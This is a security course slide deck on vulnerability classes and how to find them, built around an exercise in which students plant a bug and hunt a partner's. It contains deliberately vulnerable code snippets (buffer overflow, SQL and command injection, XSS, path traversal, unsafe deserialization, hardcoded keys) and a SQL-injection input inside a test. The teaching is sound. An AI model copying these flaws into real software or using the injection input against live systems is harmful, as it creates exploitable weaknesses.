Software Bugs: The Vulnerability Classes and How to Find Them

1. Software Bugs: Find Them, Fix Them

Title

Cyber Security 101 — Session 3

The vulnerability classes, how they get into code, and how a reviewer hunts them down

2. Part 1 — The assignment and the mindset

Section

Why plant a bug to learn to find one

3. What you will be able to do

Objectives

This session is built around one assignment: you will plant a single, documented bug in a small program, swap with a partner, and find the bug they planted. Everything here serves that loop.

• Tell a bug, a vulnerability and an exploit apart, and say which of the three the security world actually cares about
• Name the main vulnerability classes on sight: memory-safety, injection, access-control, logic, and data-handling bugs
• Explain the honest ways bugs get into real code, and why a deliberately planted one is the same shape as an accidental one
• Say what makes a bug hard to spot, and turn that into a checklist of where to look
• Find bugs the way a reviewer does: read the risky lines first, then let static analysis, fuzzing and tests do the rest
• Write a bug report that says where it is, which class it is, how you found it, and how to fix it

MITRE CWE Top 25 Most Dangerous Software Weaknesses the weakness classes this deck teaches

4. The picture the whole deck hangs on

Picture it

Before any code, the one distinction people get wrong.

Most bugs are harmless typos and logic slips. A vulnerability is the narrow subset an attacker can turn to their advantage. Your job in this assignment is to plant one bug that crosses that line, and to find the one your partner planted.

5. Three words, kept separate

Concept

Keeping these apart is the difference between a useful bug report and a vague one.

bug — any place the code does something other than what was intended — a wrong result, a crash, a missed case

vulnerability — a bug that an attacker can use to break confidentiality, integrity or availability

exploit — the specific input or sequence of actions that actually abuses a vulnerability

A report that says found a bug is weak. A report that says found a vulnerability, here is the class, and here is the input that triggers it is what earns the marks.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types weaknesses versus their exploitation

6. Sort the finding: bug, vulnerability, or exploit

Definition probe

Drop each statement into the box it belongs in.

7. What a security bug actually breaks

Concept

Whether a bug is a vulnerability comes down to one question: does it let someone break one of the three guarantees software is supposed to keep?

A crash your partner can trigger on demand breaks availability. A bug that leaks another user's data breaks confidentiality. A bug that lets someone change a record they should not breaks integrity. Naming which one a bug breaks is half of a good report.

8. Where this shows up outside the classroom

Real world

This loop is not a school invention.

9. Why plant a bug at all?

Socratic

The assignment can feel backwards. Sit with why it is not.

10. Part 2 — Memory-safety bugs

Section

When the program writes where it should not

11. Buffer overflow: writing past the end

Concept

A buffer is a fixed-size box for bytes. A buffer overflow is writing more bytes than the box holds, so the extra bytes land on whatever sits next to it in memory.

void greet(char *name) {
    char buf[8];            // room for 8 bytes
    strcpy(buf, name);      // copies until it hits a 0 byte
    printf("Hi %s\n", buf); // no check that name fits in 8
}

strcpy copies until it finds a zero byte, and it never asks how big the destination is. The caller controls the length, so the caller controls how far past the box the write goes.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-120, classic buffer copy without size check

12. Worked example: bytes climbing into the return address

Worked example

Step through what a nine-byte write does to an eight-byte buffer sitting below the saved return address.

char buf[8];
strcpy(buf, "AAAAAAAAA");  // nine A's, no room for them

MITRE CWE Top 25 Most Dangerous Software Weaknesses why memory-safety bugs rank so high

13. The frame, drawn

Picture it

The picture that makes the overflow obvious.

Once you can see that the return address sits just above your buffer, every unchecked copy into that buffer looks dangerous, because it is.

14. Predict the overwrite

Prediction

Use the frame you just saw.

15. Off-by-one: the fence-post mistake

Concept

An off-by-one bug is a loop or index that runs one step too far or one step too short. In C it writes one byte past the buffer; in almost any language it reads or skips one element it should not.

char buf[8];
for (int i = 0; i <= 8; i++)   // <= should be <
    buf[i] = data[i];          // buf[8] is one past the end

The valid indexes of an eight-slot buffer are 0 through 7. Writing buf[8] is the single most common memory bug there is, and it hides because the code looks almost exactly right.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-193, off-by-one error

16. Find the error: spot the off-by-one

Error analysis

A partner planted a bug in this array copy. It compiles and it usually works. Find the single character that is wrong.

A reviewer's habit: every time you see a loop bound, ask out loud whether it should be less-than or less-than-or-equal. Half of all off-by-ones are caught by that one question.

17. Use-after-free: the pointer to a demolished house

Concept

Freeing memory hands it back to the system. A use-after-free is touching that memory afterwards, through a pointer that still points at it. The pointer looks fine; the thing it points at is gone.

char *p = malloc(16);
free(p);            // the 16 bytes are handed back
strcpy(p, "hello"); // p still points there — but it is not yours now

The trap is that p is not set to null by free — it becomes a dangling pointer. Between the free and the reuse the code often still works, which is why a use-after-free can pass every test and still be a serious vulnerability.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-416, use after free

18. Integer overflow: when a size wraps around

Concept

Numbers in a computer have a fixed width. Push one past its maximum and it wraps around to a tiny value. That becomes dangerous the moment the number is a size passed to an allocator.

size_t n = get_count();     // attacker controls this
int *arr = malloc(n * 4);   // n * 4 can wrap to a tiny number
for (size_t i = 0; i < n; i++)
    arr[i] = 0;             // loop still runs n times

The allocation succeeds because the wrapped size is small, but the loop still runs the full count. So a tiny buffer gets filled with a huge number of writes — an overflow born from arithmetic, not from strcpy.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-190, integer overflow leading to a small allocation

19. Which memory bug is it?

Discrimination

Same family, different exact fault. Sort each symptom.

20. Part 3 — Injection bugs

Section

When input is treated as code

21. SQL injection: input that rewrites the query

Concept

SQL injection happens when user input is glued straight into a database query. The database cannot tell your intended query from the attacker's addition — it is all just one string of SQL.

name = request.get("user")
# input is pasted straight into the SQL text
query = "SELECT * FROM users WHERE name = '" + name + "'"
db.execute(query)

The apostrophe in the input closes the string the code opened, and everything after it is read as more SQL. The user is no longer supplying a name — they are supplying query logic.

OWASP Top 10 — the ten most common web application weakness classes A03 Injection

22. Worked example: watch the query get rewritten

Worked example

Follow the exact string the database receives as the input changes.

query = "SELECT * FROM users WHERE name = '" + name + "'"

OWASP Top 10 — the ten most common web application weakness classes parameterized queries as the fix

23. Find the error: the planted SQL bug

Error analysis

A partner's login handler. It works for every normal username and password. Find the line that makes it a vulnerability.

The pattern to internalise: any time you see string formatting or concatenation building a query, a command or a path, treat it as guilty until proven innocent.

24. Command injection: input that becomes a shell command

Concept

Same shape as SQL injection, different interpreter. Here the untrusted input is glued into a string that gets handed to the operating system shell.

host = request.get("host")
# the shell will interpret ; & | and more
os.system("ping -c 1 " + host)

The shell treats characters like the semicolon, the ampersand and the pipe as command separators. Any one of them in the input lets the attacker append their own command to yours.

OWASP Top 10 — the ten most common web application weakness classes OS command injection

25. Cross-site scripting: input that becomes page code

Concept

Cross-site scripting, or XSS, is injection where the interpreter is the victim's browser. User input is written into a page without being escaped, so a script in that input runs in another user's session.

// comment is user-controlled text
page.innerHTML = "<div>" + comment + "</div>";
// if comment contains a script tag, the browser runs it

The victim is not the person who typed the input — it is everyone else who later views the page. That is what the cross-site in the name means, and why XSS is so often underrated by beginners.

OWASP Top 10 — the ten most common web application weakness classes A03 Injection — cross-site scripting

26. Match the payload to its bug class

Matching

Each of these strings is an attack. Pair it with the interpreter it abuses.

27. Complete the fix: parameterize the query

Fill the middle

The vulnerable line concatenates input into SQL. Fill in the safe version.

28. Part 4 — Logic and access-control bugs

Section

When the code works but the rules are wrong

29. Broken access control: forgetting to check who is asking

Concept

Not every serious bug is a crash or an injection. Many are simply a missing check: the code does exactly what it says, but it never confirms the person is allowed to do it.

@app.get("/account/{id}")
def account(id):
    # returns the account for any id, no owner check
    return db.accounts.get(id)

This class is called insecure direct object reference: the id in the URL points straight at a record, and the code trusts whatever id it is handed. Changing one number in the address bar becomes an attack.

OWASP Top 10 — the ten most common web application weakness classes A01 Broken Access Control

30. The one-digit anomaly

Anomaly

You are testing your partner's app. You are logged in as user 124.

31. Logic and authentication bugs: right code, wrong rule

Concept

A logic bug is where the code runs cleanly and still does the wrong thing, because the condition it checks is not the condition it should. Authentication is where these hurt most.

def is_admin(user):
    if user.role == "admin" or user.role == "guest":
        return True   # 'or guest' is the planted bug
    return False

There is no crash, no injection, nothing memory-unsafe. A single wrong word in a condition quietly grants admin rights to guests. Logic bugs are the hardest to spot precisely because the code looks calm and correct.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-285, improper authorization

32. Race conditions and TOCTOU: the gap between check and use

Concept

A race condition is a bug that appears only with a particular timing of concurrent actions. The classic security form is time-of-check to time-of-use, or TOCTOU: you check something, then use it, and the world changes in the gap.

if os.access(path, os.W_OK):   # check: am I allowed to write?
    # <-- attacker swaps 'path' for a link to a protected file here
    with open(path, "w") as f:  # use: write to it
        f.write(data)

The check was true when it was made and false by the time it was used. Nothing in the code is individually wrong; the bug lives in the assumption that nothing changes between the two lines.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-367, time-of-check time-of-use race

33. Worked example: interleaving the race

Worked example

Step through the two actors, the victim program and the attacker, taking turns.

T1  victim: access(path) -> allowed
T2  attacker: replace path with a link to /etc/secret
T3  victim: open(path, "w") -> opens /etc/secret

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types TOCTOU mitigation

34. The shape every logic bug shares

Pattern

Memory and injection bugs have loud tells — a copy, an apostrophe, a concatenation. Logic and access-control bugs are quieter, but they still share one shape.

1. There is a decision: a condition, a permission check, a comparison
2. The decision uses the wrong input, the wrong operator, or the wrong timing
3. Every individual line is valid code that compiles and runs
4. The bug only shows when you ask does this check actually enforce the rule it claims to

So the reviewer's move for this whole family is the same: find every decision that guards something valuable, and test whether the guard can be walked around — a wrong role, a changed id, a swapped file, a lucky timing.

OWASP Top 10 — the ten most common web application weakness classes access control as a design problem

35. Two truths and a lie about access control

Two truths and a lie

Two of these are safe to write in a report. One will get someone owned.

36. Part 5 — Data-handling and crypto bugs

Section

Secrets, encoding, and trusting the wrong bytes

37. Hardcoded secrets: the password in the source

Concept

A hardcoded secret is a password, key or token written directly into the source code. It is a vulnerability because source code travels — into version control, into logs, into every laptop that ever cloned the repo.

# the key is right here in the file
API_KEY = "sk_live_9f2a7c1e4b88d0"
db = connect(password="hunter2")

Deleting the line later does not help: version control remembers every past version. The fix is to keep secrets out of code entirely — in environment variables or a secrets manager the code reads at run time.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-798, use of hard-coded credentials

38. Rolling your own crypto and other weak choices

Concept

Cryptography bugs rarely look like crashes. They look like reasonable code that quietly provides far less protection than the author believes.

Rolled-your-own

A homemade encryption or hashing scheme. It looks secret to you and is transparent to anyone who has seen it before.

Storing passwords reversibly

Passwords stored encrypted or in plain text instead of hashed with a slow, salted algorithm. One database leak exposes them all.

A fixed key or nonce

Reusing the same key or initialisation value makes patterns in the encrypted data visible, which is often enough to break it.

The rule of thumb for this whole class: do not invent it, and do not configure it by guesswork. Use a well-reviewed library with its safe defaults, and treat any homemade scheme as a planted bug.

OWASP Top 10 — the ten most common web application weakness classes A02 Cryptographic Failures

39. Path traversal: input that escapes the folder

Concept

Path traversal is injection aimed at the filesystem. User input becomes part of a file path, and the input contains dot-dot segments that climb out of the folder you meant to confine it to.

name = request.get("file")
# meant to read from the uploads folder only
path = "uploads/" + name
return open(path).read()

Each dot-dot means go up one folder, so a name full of them walks out of the uploads directory and into the rest of the disk. The fix is to reject or strip path separators and dot-dot, and to resolve the final path and confirm it still sits inside the allowed folder.

MITRE CWE — the Common Weakness Enumeration, a catalogue of bug types CWE-22, path traversal

40. Insecure deserialization: trusting a saved object

Concept

Deserialization turns stored bytes back into a live object. It becomes a vulnerability when those bytes came from an untrusted source, because some formats can be crafted to run code or build dangerous objects as they load.

import pickle
# data came from the user's cookie
obj = pickle.loads(data)   # can execute code while loading

The dangerous idea is that loading data feels passive, like reading a number. With formats like Python's pickle or Java's native serialization, loading is active: it can construct objects and run code. Use a data-only format such as JSON for anything that crosses a trust boundary.

OWASP Top 10 — the ten most common web application weakness classes A08 Software and Data Integrity Failures

41. Sort each bug into its family

Sorting

Ten classes, five families. Drop each into the family it belongs to.

Being able to name the family fast is what lets you jump straight to the right fix and the right detection tool.

42. Class, impact, and fix at a glance

Comparison

Fill the missing fixes. This table is the one to keep beside you during the hunt.

Notice the fixes are boringly consistent within a family. That is good news: learn one fix and it generalises across the whole class.

43. Part 6 — How bugs get into code

Section

The honest sources, and the deliberate one

44. Where real bugs actually come from

Concept

For the finding half of this assignment to make sense, you have to know how bugs get in. Almost all of them arrive the same few honest ways — and a deliberately planted bug simply imitates one of them.

• Unsafe defaults: a function like strcpy or a format like pickle that is dangerous unless you go out of your way
• Missing validation: input used without checking its length, type, range or characters
• Copy-paste: a snippet pasted from elsewhere, carrying an assumption that no longer holds
• Edge cases: the empty input, the maximum value, the concurrent access nobody tested
• Wrong mental model: the author believed a check enforced a rule that it does not

A well-planted bug in this assignment looks exactly like one of these. That is the point: if your bug looks deliberate, it is too easy to find, and if your partner's looks accidental, it is realistic practice.

MITRE CWE Top 25 Most Dangerous Software Weaknesses the most common real-world weaknesses

45. Which source causes the most real damage?

Estimation

Across large studies of real vulnerabilities, one source dominates the web-application category year after year.

46. The deliberate bug: a threat you must anticipate

Concept

Not every bug is an accident. Sometimes one is inserted on purpose to be hard to spot — by a malicious insider, or in a dependency your project pulls in. Understanding this is defensive: you cannot review for what you refuse to imagine.

The insider

Someone with commit access adds a bug that looks like an ordinary mistake, so it survives review. This assignment simulates exactly that.

The supply chain

A library you depend on ships a bug — accidental or planted. Your code inherits it, which is why scanning dependencies matters.

The underhanded style

A bug written to look correct: right variable names, plausible logic, a fault hidden in a subtle detail. That is the craft the finder has to beat.

The reason to study the deliberate case is not to become the insider. It is that a bug designed to look innocent is the hardest to find, so practising against one makes you far better at catching the accidental ones too.

The Underhanded C Contest — deliberately-planted, plausible-looking bugs the underhanded-code tradition, used for training

47. The it-compiles-and-passes-tests trap

Trap

48. Why the supply chain makes this urgent

Real world

Ground the deliberate-bug idea in something you already depend on.

49. Part 7 — Why a bug hides

Section

And what that tells the reviewer to look for

50. What makes a bug hard to spot

Concept

The things that make a bug subtle are not tricks for hiding it in production — they are the properties a reviewer learns to recognise. Read this list as where to look, not how to conceal.

• It looks normal: right names, plausible logic, a fault in one small detail
• It sits on a rare path: an edge case, an error branch, a specific timing that tests miss
• It is a change of one character or one word: <= for <, or for and, a missing not
• It hides in the boring parts: setup code, config, a helper nobody re-reads
• It passes tests: because the tests only cover the cases the author already imagined

Flip every line around and you have the reviewer's checklist. A bug is subtle exactly where attention is scarce, so the discipline is to spend attention where it is scarce on purpose.

The Underhanded C Contest — deliberately-planted, plausible-looking bugs what makes planted bugs plausible

51. Find the error: the plausible-looking bug

Error analysis

This validates a money transfer. It reads well, the names are right, and it passes the tests that shipped with it. One detail makes it a vulnerability.

This is the whole game: the bug is not hidden by cleverness, it is hidden by living where no test and no casual reader ever goes.

52. Subtle or obvious?

Discrimination

Part of hunting is knowing which bugs a quick read will catch and which need real effort.

53. Where does a reviewer's attention run out?

Edge cases

Push on the honest limits of human review.

54. Explain why edge cases hide bugs

Explain it to yourself

If you can say this cleanly, the finding half has landed.

55. Part 8 — Finding and killing bugs

Section

The reviewer's toolkit, in order

56. The code-review checklist

Concept

Human review comes first because it is the only step that understands intent. But a good reviewer does not read top to bottom — they read the dangerous parts first, while attention is highest.

Run down that order and, at each risky line, ask the same three questions: where does this input come from, is it checked, and what interpreter or memory does it reach. Most planted bugs answer one of those questions badly.

OWASP Top 10 — the ten most common web application weakness classes code review guidance

57. Worked example: reviewing a diff

Worked example

A partner sends you a four-line change. Walk it the way a reviewer would.

- user = escape(request.get("user"))
+ user = request.get("user")
  q = "SELECT id FROM users WHERE name='" + user + "'"
  db.execute(q)

OWASP Top 10 — the ten most common web application weakness classes reviewing changes for injection

58. Static analysis: the tool that reads code for you

Concept

Static analysis, or SAST, examines the source without running it, matching it against thousands of known bug patterns. It never gets tired, so it covers the boring bulk a human skims.

# examples of static analysers you point at source
bandit  app.py        # python security linter
semgrep --config auto  .   # pattern rules across languages

Treat its output as leads, not verdicts: some findings are false alarms, but every strcpy and every concatenated query it flags is worth a look. It is the cheapest way to clear the obvious half of the search.

NIST SP 800-53 / secure software development practices static analysis in secure development

59. Fuzzing: let the machine try the weird inputs

Concept

Fuzzing runs your program on a flood of malformed, random and boundary inputs, watching for a crash or a hang. It finds exactly the edge-case bugs a human never thinks to type.

# feed a program millions of mutated inputs, watch for crashes
afl-fuzz -i seeds/ -o findings/ -- ./parser @@

The gift of fuzzing is that a crash comes with the exact input that caused it, so you find the bug and prove it in the same step. It is unbeatable for memory-safety and parsing bugs.

MITRE CWE Top 25 Most Dangerous Software Weaknesses fuzzing against memory-safety weaknesses

60. What a fuzzer is doing

Picture it

The picture behind the flood of inputs.

A fuzzer is patience at machine speed: it tries the empty string, the four-billion-byte string, and the one weird byte in the middle, over and over, until something breaks.

61. Dynamic testing and regression tests

Concept

Dynamic testing runs the program and probes its behaviour — including the adversarial inputs from this whole deck. Once a bug is found, a regression test locks it dead so it can never quietly return.

def test_login_rejects_sql():
    # the exact attack, frozen as a test
    assert login("admin'--", "x") is False

The move that makes finding pay off long-term: the moment you find your partner's bug, write the failing test first, then confirm the fix makes it pass. Now that class of bug can never sneak back in.

NIST SP 800-53 / secure software development practices test-driven security fixes

62. Scanning dependencies and secrets

Concept

The last two tools cover what human review structurally cannot: the code you did not write, and the secrets you did not mean to commit.

pip-audit                 # flag known-vulnerable dependencies
git secrets --scan        # catch committed keys and passwords

These are cheap to run and catch entire classes at once. In a real project they run on every commit, so a hardcoded key or a vulnerable library is caught the moment it lands, not after a breach.

OWASP Top 10 — the ten most common web application weakness classes dependency and secret scanning

63. Order the detection steps by when to run them

Ranking

There is a sensible order to the hunt: cheap and broad first, expensive and deep last.

64. Which tool for which bug?

Elimination

You suspect a specific bug. Rule out the wrong tools and keep the one that fits best.

65. Part 9 — Running the introduce-then-find lab

Section

Turning all of this into the assignment

66. The lab protocol, step by step

Concept

Here is the whole assignment as a procedure. Follow it exactly and the grading takes care of itself, because the report writes itself from the steps.

1. Plant exactly one bug in a small program, from a class in this deck, and privately document what and where it is
2. Make it look accidental — imitate an honest source, so it is realistic to hunt
3. Swap programs with your partner; neither of you sees the other's notes
4. Find the bug: review the risky lines, then run static analysis, tests and a fuzzer
5. Write the report, then compare it against your partner's private notes to see if you nailed it

The Underhanded C Contest — deliberately-planted, plausible-looking bugs the plant-and-find format

67. Worked example: a complete bug report

Worked example

This is the template your report should fill, shown filled in for the transfer bug from earlier.

TITLE:    Negative-amount transfer bypasses the balance check
LOCATION: transfer(), line 3
CLASS:    logic / missing input validation
TRIGGER:  amount = -100 with any balance
IMPACT:   integrity — credits the sender, an unauthorised gain
FOUND BY: adversarial test with a negative amount
FIX:      also reject amount <= 0

OWASP Top 10 — the ten most common web application weakness classes writing an actionable finding

68. How this maps to the real thing

Real world

The assignment is a scale model of a real security workflow.

69. Draw the whole taxonomy on one page

Connect it up

Twenty minutes on this beats another hour of reading, and it is the artefact to bring to the review.

The class you find hardest to spot is the one worth planting, because building it teaches you to see it, and seeing it is the whole point.

70. Part 10 — Consolidation

Section

Make it stick

71. Retrieval: eight answers, no notes

Warm-up

Close the deck. This is the check on whether today stuck.

72. Check: name the bug and its fix

Check

One question that ties the classes to the fixes. Decide before you click.

73. Exit ticket: which bug will you plant?

Exit ticket

This tells me what to prepare for the review session, so pick the one you would actually build.

74. What you can do now

Recap

This session turned bug into a precise idea and gave you both halves of the loop: how weaknesses get into code, and how to hunt them out.

• Separate a bug from a vulnerability from an exploit, and name which of the CIA guarantees a bug breaks
• Recognise the memory-safety family: overflow, off-by-one, use-after-free, integer overflow
• Recognise injection wherever it lives: SQL, shell, browser, filesystem — and its one-shape fix, keep data as data
• Spot access-control and logic bugs by testing whether a guard actually enforces its rule
• Name the data-handling bugs: hardcoded secrets, weak crypto, path traversal, unsafe deserialization
• Explain how bugs get in, including the deliberate case, and why that makes you a better finder
• Hunt a bug in order: static analysis and scanners first, human review of the risky lines, then targeted tests, then fuzzing
• Write a report with a class, a location, a reproducer, an impact and a fix

MITRE CWE Top 25 Most Dangerous Software Weaknesses every class above maps to a real weakness in the wild